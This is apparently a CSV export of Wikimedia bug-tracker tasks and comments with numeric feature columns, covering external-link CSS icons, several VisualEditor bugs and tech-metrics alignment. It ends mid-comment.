> If we could determine and mark wikilinks that are to other sister projects,
> I'd recommend they be treated as regular wikilinks as well.

Interwiki links (everything in https://meta.wikimedia.org/wiki/Interwiki_map )
are already styled with a slightly-lighter blue, via class ""extiw"" (external interwiki) located in https://svn.wikimedia.org/viewvc/mediawiki/trunk/phase3/skins/common/commonElements.css?view=markup and skins/monobook/main.css",,,1380345239,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,12,,0.0,1.5,0.0,0.5,0.5,7.0,1.5,0.0,0.0,0.5,2.5,1.0,0.0,0.5,0.0,1.5,0.0,5.5,10.0,1.5,2.5,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,5.0,2.0,1.0,2.5,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,15.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,4.0,2.5,13.0,2.0,2.5,5.0,0.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,3.5,10.0,9.0,0.0,1.0,0.0,3.5,0.0,1.0,3.0,0.0,0.0,0.5,0.5,0.5,3.6120597079037804,0.6892182130584192,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Isarra mentioned mailto and IRC links too, which I'd agree are instances where the icon is useful. 

The audio/video icons are also good to have, per principle of least astonishment (eg, someone adds a link to a loud .wav file into an article's external links, and someone else in a quiet office clicks on it).

They also help editors to notice that these uncommon link types are present, and hence to check whether they're really suitable/wanted or not. (If I see an audio-file icon, I often click it to check for spam/vandalism).


QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Interwiki links (everything in URL )
are already styled with a slightly-lighter blue, via class ""extiw"" (external interwiki) located in URL and skins/monobook/main.css"
258542,Large number of CSS rules for external links,"My gut says remove them all esp. the https links, as @Isarra mentioned the only one that seems to make any real sense is links that point to files, like PDFs, however  internal (Commons) links have their own viewer. External PDFs seem like the only file that marking their links seems relevant in any way. Most modern browsers have built-in PDF renders so even the days of PDFs being treated special is soon becoming irrelevant. 

My recommendation would be to remove all special formatting other than wikilinks vs external links. 

If we could determine and mark wikilinks that are to other sister projects, I'd recommend they be treated as regular wikilinks as well.",,,1380340657,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,12,,2.5,0.0,0.0,1.5,0.0,10.0,1.5,0.0,0.0,1.0,3.5,1.0,0.0,1.0,0.0,3.0,1.0,4.5,8.5,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,1.5,1.0,6.5,1.5,0.0,1.0,0.0,1.5,0.0,0.0,1.5,0.0,2.5,0.0,1.0,0.0,0.0,0.0,2.5,0.0,13.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.5,0.0,2.5,3.5,7.0,1.0,1.0,4.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,8.5,3.5,0.0,0.0,0.0,5.0,0.0,2.5,0.0,0.5,1.5,0.0,0.5,0.0,4.3076923076923075,0.7769230769230769,"My gut says remove them all esp. the https links, asSCREEN_NAME mentioned the only one that seems to make any real sense is links that point to files, like PDFs, however  internal (Commons) links have their own viewer. External PDFs seem like the only file that marking their links seems relevant in any way. Most modern browsers have built-in PDF renders so even the days of PDFs being treated special is soon becoming irrelevant. 

My recommendation would be to remove all special formatting other than wikilinks vs external links. 

If we could determine and mark wikilinks that are to other sister projects, I'd recommend they be treated as regular wikilinks as well."
258536,Large number of CSS rules for external links,"(In reply to comment #1)
> Honestly I'd recommend just killing these link icons outright...

One of the things to consider is when and where the links are actually used, and if special treatment is even sensible anymore. 

Generally we'd probably only want special icons for things that are both fairly commonly used and where the browser reaction would be significantly different from general browsing - for things like PDFs, which are often used for sources, that can open up in a new window or rearrange the tab depending on browser, or mailto and IRC which often send the request out of the browser entirely and open a new window. Users do like warning when it comes to that sort of thing, indeed.

Whereas we probably don't want anything special for things like https, ftp, etc where the browser just opens it like normal, especially since for instance https is becoming more and more common as the default...",,,1380323575,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,12,,0.0,0.5,0.5,1.0,0.5,5.5,1.5,0.0,0.0,0.5,1.5,1.0,0.0,0.5,0.0,1.0,0.0,13.0,13.0,0.5,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.5,6.0,0.5,1.0,1.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,15.0,0.5,0.5,1.0,2.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,2.0,0.0,0.0,0.0,0.5,0.5,5.5,3.5,4.5,4.5,4.5,7.5,0.0,0.0,0.0,0.5,4.5,0.5,1.0,0.0,2.5,13.0,1.0,0.0,0.0,0.0,2.5,0.0,5.0,1.0,0.0,2.0,1.0,0.0,0.5,4.1647058823529415,0.7470588235294118,"(In reply to comment #1)
QUOTE

One of the things to consider is when and where the links are actually used, and if special treatment is even sensible anymore. 

Generally we'd probably only want special icons for things that are both fairly commonly used and where the browser reaction would be significantly different from general browsing - for things like PDFs, which are often used for sources, that can open up in a new window or rearrange the tab depending on browser, or mailto and IRC which often send the request out of the browser entirely and open a new window. Users do like warning when it comes to that sort of thing, indeed.

Whereas we probably don't want anything special for things like https, ftp, etc where the browser just opens it like normal, especially since for instance https is becoming more and more common as the default..."
258530,Large number of CSS rules for external links,"(In reply to comment #1)
> Honestly I'd recommend just killing these link icons outright...

Some of the other icons could /possibly/ be removed without screaming. 

But the PDF icon is important. Users get frustrated when they click a PDF without warning.

(The only alternative is [[Template:PDFlink]] which makes article/citation code more complicated, so that's not good.)",,,1380179977,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,12,,1.0,0.0,0.0,1.0,1.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,8.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,14.0,3.0,1.0,10.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,8.0,3.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,3.0,1.0,0.0,3.0,3.816901408450704,0.8169014084507042,"(In reply to comment #1)
QUOTE

Some of the other icons could /possibly/ be removed without screaming. 

But the PDF icon is important. Users get frustrated when they click a PDF without warning.

(The only alternative is [[Template:PDFlink]] which makes article/citation code more complicated, so that's not good.)"
258525,Large number of CSS rules for external links,"(In reply to comment #1)
> Honestly I'd recommend just killing these link icons outright...

This is a design question, I think. Adding the Bugzilla keyword accordingly.",,,1380173289,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,23.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.576923076923077,0.9615384615384616,"(In reply to comment #1)
QUOTE

This is a design question, I think. Adding the Bugzilla keyword accordingly."
258517,Large number of CSS rules for external links,Honestly I'd recommend just killing these link icons outright...,,,1380131401,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.090909090909091,1.0,Honestly I'd recommend just killing these link icons outright...
56588,"VisualEditor: this.referenceSurface should be a Surface, not a SurfaceWidget","In ve.ui.MWReferenceDialog, this.referenceSurface changed from being a Surface to a SurfaceWidget. I noticed this because I rebased some old code that used this.referenceSurface.getModel() and broke, but this seems to have happened a while ago with the introduction of SurfaceWidget.

When a variable name is 'fooSurface', it should be a Surface, not something else. In particular, you shouldn't have to do this.referenceSurface.getSurface() to get the surface.

The same applies to this.captionSurface in ve.ui.MWMediaEditDialog.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1380077400,1533388170.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-dlrbz5yirqhdlb5ixx32,task_description,resolved,True,c1,3,False,False,False,12,,0.5,1.0,0.0,0.0,2.0,3.5,1.5,0.5,0.0,0.0,3.0,2.0,0.0,0.0,0.0,1.0,0.0,3.5,8.0,1.0,2.5,2.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,7.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,5.0,2.0,9.5,1.0,1.0,6.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,8.0,4.5,0.0,1.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,4.759868421052632,0.7429511278195489,"In ve.ui.MWReferenceDialog, this.referenceSurface changed from being a Surface to a SurfaceWidget. I noticed this because I rebased some old code that used this.referenceSurface.getModel() and broke, but this seems to have happened a while ago with the introduction of SurfaceWidget.

When a variable name is 'fooSurface', it should be a Surface, not something else. In particular, you shouldn't have to do this.referenceSurface.getSurface() to get the surface.

The same applies to this.captionSurface in ve.ui.MWMediaEditDialog.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
1116675,"VisualEditor: this.referenceSurface should be a Surface, not a SurfaceWidget","These are now fooTarget instace of TargetWidget, however TargetWidget behaves like target, not a target wrapper, so this bug is resolved.",,,1533388170,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dlrbz5yirqhdlb5ixx32,task_subcomment,,True,c1,3,True,,,265,,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.68,0.84,"These are now fooTarget instace of TargetWidget, however TargetWidget behaves like target, not a target wrapper, so this bug is resolved."
56587,VisualEditor: Inserting a reference breaks up annotations around it,"When you insert a reference in the middle of a bolded word, the reference itself doesn't receive a bold annotation, and so the resulting text is something like '''He'''<ref name=""hello"" />'''llo''', with the bold breaking around the reference.

When we insert inline nodes like references from the UI, they should take annotations. This is probably a wider problem beyond just references.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1380074640,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-y3zmidmzskha5h7ldgcc,task_description,open,True,c1,3,False,False,,12,,0.0,1.0,0.0,0.0,1.0,8.0,1.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,0.0,5.0,9.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,8.0,2.0,1.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,9.0,1.0,0.0,3.0,0.0,4.0,0.0,2.0,4.0,1.0,2.0,1.0,0.0,0.0,4.311827956989247,0.6451612903225806,"When you insert a reference in the middle of a bolded word, the reference itself doesn't receive a bold annotation, and so the resulting text is something like '''He'''<ref name=""hello"" />'''llo''', with the bold breaking around the reference.

When we insert inline nodes like references from the UI, they should take annotations. This is probably a wider problem beyond just references.

--------------------------
**Version**: unspecified
**Severity**: normal"
257535,VisualEditor: Inserting a reference breaks up annotations around it,See bug 48720.,,,1382626276,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-y3zmidmzskha5h7ldgcc,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,See bug 48720.
257528,VisualEditor: Inserting a reference breaks up annotations around it,"(In reply to comment #2)
> Also, I'm not sure this is desirable behaviour.

But we are. :-)",,,1380755694,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y3zmidmzskha5h7ldgcc,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,"(In reply to comment #2)
QUOTE

But we are. :-)"
257521,VisualEditor: Inserting a reference breaks up annotations around it,"Also, I'm not sure this is desirable behaviour.",,,1380472840,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-y3zmidmzskha5h7ldgcc,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,1.0,"Also, I'm not sure this is desirable behaviour."
257516,VisualEditor: Inserting a reference breaks up annotations around it,"The dialogs generate insertion transactions directly with newFromInsertion, and have no insertion annotation logic.",,,1380279978,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-y3zmidmzskha5h7ldgcc,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.375,0.9375,"The dialogs generate insertion transactions directly with newFromInsertion, and have no insertion annotation logic."
56584,VisualEditor: MWExtensionNode/GeneratedContentNode should avoid emitting 'rerender' twice when rendering <img>s,"ce.MWExtensionNode.onParseSuccess contains the following code:

	// Rerender after images load
	this.$.find( 'img' ).on( 'load', ve.bind( function () {
		this.emit( 'rerender' );
	}, this ) );

Problems:
* Why is this in MWExtensionNode? Shouldn't it just be in GCNode?
* This potentially emits multiple rerender events, one for each image
* The first rerender event has already been emitted because we've already resolved the promise and attached the nodes to the DOM

What we should really do is attach the nodes somewhere else (where?) so that the images load, then reattach them to a wrapper and resolve the promise with that. That way we only emit rerender once, and we correctly only resolve the promise once everything has actually loaded.

In practice, this means the math inspector moves around twice after typing LaTeX in certain cases: once because of the 'rerender' event caused by the <img> tag being put on the page (at which point it measures 0x0), and once because of the 'rerender' event caused by the image actually loading (at which point it measures correctly).

Open questions:
* How does this work for images with invalid/unavailable sources?
* Really what we care about here is the dimensions of the images. If those are known, we can render the node without its dimensions changing later

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1380072600,1380232745.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-d2izuitwfayrxbyhcjil,task_description,resolved,True,c1,3,False,False,True,12,,0.3333333333333333,0.3333333333333333,0.0,1.0,0.3333333333333333,3.0,1.0,1.0,0.0,0.3333333333333333,1.3333333333333333,4.0,0.0,0.6666666666666666,0.0,2.0,0.0,8.666666666666666,9.666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,5.666666666666667,0.6666666666666666,1.3333333333333333,1.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,2.0,0.0,0.0,0.0,0.0,0.0,14.333333333333334,1.6666666666666667,1.3333333333333333,0.6666666666666666,1.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,6.333333333333333,2.3333333333333335,6.666666666666667,3.3333333333333335,1.3333333333333333,10.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,1.3333333333333333,0.0,3.6666666666666665,9.666666666666666,2.3333333333333335,1.3333333333333333,3.3333333333333335,0.0,3.6666666666666665,0.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.0,1.3333333333333333,3.966565656565656,0.7013804713804713,"ce.MWExtensionNode.onParseSuccess contains the following code:

	// Rerender after images load
	this.$.find( 'img' ).on( 'load', ve.bind( function () {
		this.emit( 'rerender' );
	}, this ) );

Problems:
* Why is this in MWExtensionNode? Shouldn't it just be in GCNode?
* This potentially emits multiple rerender events, one for each image
* The first rerender event has already been emitted because we've already resolved the promise and attached the nodes to the DOM

What we should really do is attach the nodes somewhere else (where?) so that the images load, then reattach them to a wrapper and resolve the promise with that. That way we only emit rerender once, and we correctly only resolve the promise once everything has actually loaded.

In practice, this means the math inspector moves around twice after typing LaTeX in certain cases: once because of the 'rerender' event caused by the <img> tag being put on the page (at which point it measures 0x0), and once because of the 'rerender' event caused by the image actually loading (at which point it measures correctly).

Open questions:
* How does this work for images with invalid/unavailable sources?
* Really what we care about here is the dimensions of the images. If those are known, we can render the node without its dimensions changing later

--------------------------
**Version**: unspecified
**Severity**: normal"
257421,VisualEditor: MWExtensionNode/GeneratedContentNode should avoid emitting 'rerender' twice when rendering <img>s,https://gerrit.wikimedia.org/r/#/c/86167/ fixes this,,,1380232745,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-d2izuitwfayrxbyhcjil,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,URL fixes this
56582,"VisualEditor: ce.GeneratedContentNode.generateContents() should be static, so we can cache based on config objects alone","Right now, GCNode caching uses both the model hash and the hash of the config object. However, when properties in the config override properties in the model, the preview of a change and the new model node after the actual change will be the same but have different hashes (because the model is different, and because in the second case the config object is empty/undefined).

We should make generatedContents() static, so it can't inspect the model or any object state, and have a function that provides the default config that is then used to extend the provided config. That way we don't end up duplicating things in cache and rendering things twice.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1380071580,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-pvtq3ysdgbspx2ubicva,task_description,open,True,c1,3,False,False,,12,,0.5,0.0,0.0,0.5,1.5,4.5,1.5,1.0,0.0,0.0,2.5,1.5,0.0,0.0,0.0,1.5,0.5,4.5,6.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,4.5,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,1.0,0.0,1.5,0.0,17.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.5,0.0,9.0,2.0,4.0,2.0,4.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,6.5,2.5,0.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,4.161171171171171,0.6582882882882883,"Right now, GCNode caching uses both the model hash and the hash of the config object. However, when properties in the config override properties in the model, the preview of a change and the new model node after the actual change will be the same but have different hashes (because the model is different, and because in the second case the config object is empty/undefined).

We should make generatedContents() static, so it can't inspect the model or any object state, and have a function that provides the default config that is then used to extend the provided config. That way we don't end up duplicating things in cache and rendering things twice.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
56469,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Currently http://korma.wmflabs.org/browser/its-repos.html shows that the Bugzilla products scanned are MediaWiki, All extensions, VisualEditor and Parsoid. However, this list must be in sync with http://korma.wmflabs.org/browser/scm-repos.html - which in turn is synced with https://wikitech.wikimedia.org/wiki/Key_Wikimedia_software_projects

Let's update that wiki page with the relevant products / components. A 100% match is probably impossible, but a 90% (or so) should be feasible.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49744",Medium,50.0,1379952300,1382549565.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_description,resolved,True,c1,3,False,False,False,12,,1.0,0.0,0.0,1.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,17.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,1.0,6.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7551020408163267,0.6530612244897959,"Currently URL shows that the Bugzilla products scanned are MediaWiki, All extensions, VisualEditor and Parsoid. However, this list must be in sync with URL - which in turn is synced with URL

Let's update that wiki page with the relevant products / components. A 100% match is probably impossible, but a 90% (or so) should be feasible.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
255916,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"(In reply to comment #6)
> ==Core Extensions==
> Don't want to spend too much time going through the list and syncing with
> https://bugzilla.wikimedia.org/editcomponents.
> cgi?product=MediaWiki%20extensions
> however noteworthy naming differences from the top of my head:

Currently korma lists all the extensions in a single project. This is good enough for now, but for the Bugzilla Response Time KPI [1] we will need to be more precise:

* Including only the key projects.
* Treating each component separately, just like we do with code repos.

[1] https://www.mediawiki.org/wiki/Community_metrics#Bugzilla_response_time",,,1382560830,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,16,,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,2.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,18.0,0.0,1.0,8.0,0.0,0.0,0.0,1.0,4.0,0.0,2.0,0.0,2.0,10.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,4.0,3.4578313253012047,0.7228915662650602,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Currently korma lists all the extensions in a single project. This is good enough for now, but for the Bugzilla Response Time KPI [1] we will need to be more precise:

* Including only the key projects.
* Treating each component separately, just like we do with code repos.

[1] URL"
255911,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Ok guys, you have the viz in:

